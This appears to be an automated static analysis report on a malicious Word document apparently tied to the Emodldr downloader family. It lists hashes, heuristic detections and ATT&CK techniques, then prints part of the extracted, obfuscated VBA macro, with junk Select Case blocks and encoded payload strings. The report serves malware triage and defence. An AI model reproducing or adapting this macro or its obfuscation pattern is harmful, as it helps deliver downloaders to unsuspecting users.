Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 93f5a2dc8028138d…

MALICIOUS

Office (OLE)

223.5 KB Created: 2018-03-21 13:45:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 0d288a4f94c8d5fc65ee18147b08ed1c SHA-1: 5e20638c55818950b7246d13eb42503904e62c4c SHA-256: 93f5a2dc8028138ddded0ace5f25f7c857734f05791fc3bbeac6caa2d17c1fd4
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is a malicious Office document containing a VBA macro. The macro utilizes `CreateObject` and an `AutoOpen` function, indicating it's designed to execute automatically upon opening. The ClamAV detection and heuristic firings strongly suggest it's a downloader for a second-stage payload, likely from the Emodldr family, though specific attribution is not possible. The macro's obfuscated nature and truncated content prevent a more detailed analysis of its execution flow.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 71468 bytes
SHA-256: e5db338fba4dbe85781bd5093671083c61ca1712a8d72b574a826f9384aad058
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "COwjhRKSjDhlD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "BJHkQRC"
Function WwBnwUYaTM()
On Error Resume Next
Select Case mpDMcK
         Case 13118
            OGJqh = CWRNOf
            lDtrnE = JfrRR
            aJGYvB = Cos(29946 * CBool(8684))
         Case 63352
            YqjMR = 61333
            BvJkBm = Fix(17906)
            oGptj = Oct(28069)
End Select
Wvnwr = bNcjdY("jr2DAxAANAIGAmBwMAIDA1AANAUGA2AQOAIDA4AAMAIDA2AwNAQGA3AQMAIDAyAQYAgDAlBAZAUtbVj,", 6 + 0, 72 + 0)
Select Case YkYsQt
         Case 34769
            PnECU = Gszdl
            WILZXz = HvZLz
            hRwnYP = Cos(329 * CBool(67854))
         Case 66455
            wwjoUh = 25283
            PzYVQY = Fix(97510)
            SqKRq = Oct(54627)
End Select
Select Case IzCaT
         Case 87076
            wdwNSV = Cmhwni
            YCjss = kjLsPj
            BKiIn = Cos(76512 * CBool(37562))
         Case 11276
            jZwBdZ = 91490
            NGDBku = Fix(36053)
            aHDMRG = Oct(97007)
End Select
qqTtNWoKir = bNcjdY("dC6z0aAIDAhBQOAUDA2AQMAMGAmBQNAADAxAAOAYGA2AQOAgDAyAQNAUGAxAQZAADAlBAZAgDA5AwMAMDAkBQYAUDA5AQNAYDAzAgMAgDA4AQOAgDA0AgMAMDAmBAMAUGAxAAZAYDAwAgZAMGA3AQOAcDAiBgZAEDA1AQNAMGA0AAZAcLl", 3 + 0, 170 + 0)
Select Case IlrEZJ
         Case 99412
            MYTKv = HKnXiI
            LRPPbM = QsidaN
            shrPEH = Cos(76923 * CBool(79994))
         Case 22093
            IljAsZ = 88348
            pCwTco = Fix(96250)
            TzTqqj = Oct(66099)
End Select
Select Case BWKRXI
         Case 78759
            NWSwYj = tqjvia
            aclwW = tSIAoD
            ijGVh = Cos(57464 * CBool(28074))
         Case 80451
            SGLGIB = 34736
            GRVuw = Fix(64290)
            amOGvO = Oct(35819)
End Select
DtkJG = bNcjdY("lbfdNAYDAkBAZAUGAyAwNAYDAwAgNAEDA5AgNAMDAzAQOAMDAwAgMAUDAmBgNAkDAxAAMAYGA1AANAEGAyAwNAYDAzAgYAMDA3AQZAYDA4AgYAUGAwAgYAEGA5AwYAYDAwAAMAUGAzAANAUGAzAgYAQDAiBANAYGAkBQNAgDAiBQMAUGA4AAMAkDA4AQMAYDA1Aw3djFh", 6 + 0, 192 + 0)
Select Case VJEMk
         Case 26940
            EMQzK = lQSrAC
            Wibiza = vPIuOz
            pwDohs = Cos(85872 * CBool(25438))
         Case 16703
            zWBpVw = 27339
            MZkniW = Fix(25556)
            SSoDW = Oct(65613)
End Select
Select Case jUACmo
         Case 52967
            qoMiCv = mbBAtz
            jTzptw = TfBTj
            CfhjFf = Cos(78495 * CBool(70806))
         Case 10010
            siZEf = 79489
            Lfmzl = Fix(63136)
            wuiWW = Oct(17121)
End Select
PYaUOwTv = bNcjdY("Xn%AEDAlBANAEDAyAQYAUDAkBwYAgDAzAQNAIGA0AgYAQDAxAwM3wDz", 5 + 0, 48 + 0)
Select Case PTVhH
         Case 87625
            vOKwi = FHUsqi
            qnwaRw = kKBRNw
            dPDXY = Cos(91864 * CBool(64273))
         Case 31257
            cAGkz = 79321
            mjsfUb = Fix(44273)
            PIQkkN = Oct(85890)
End Select
Select Case fvwpn
         Case 8049
            sGiFc = FEwzC
            KGlAl = LQfhr
            BjDmwb = Cos(20495 * CBool(38537))
         Case 16246
            LsQNHI = 64635
            HAWrN = Fix(11521)
            vNXbno = Oct(20994)
End Select
sjhBjDTAV = bNcjdY("9SDA5AAZAknL6i", 5 + 0, 8 + 0)
Select Case CDtzT
         Case 10787
            miwcu = kXKCiV
            rFJVz = DOnsUt
            dNJOL = Cos(26592 * CBool(9284))
         Case 71466
            ovkLA = 20818
            MYFTlX = Fix(93987)
            XAcBIz = Oct(81713)
End Select
Select Case mfWRK
         Case 72244
            EwAutq = GrlZji
            zAplj = jBtfE
            OljmNA = Cos(37871 * CBool(23346))
         Case 1226
            iTRXtp = 87373
            jVSwmi = Fix(64345)
            iZBDCV = Oct(80723)
End Select
TAtKBMDO = bNcjdY("EVCKwYAUGAmBANAgDA5AAZAYDA2AAO
... (truncated)

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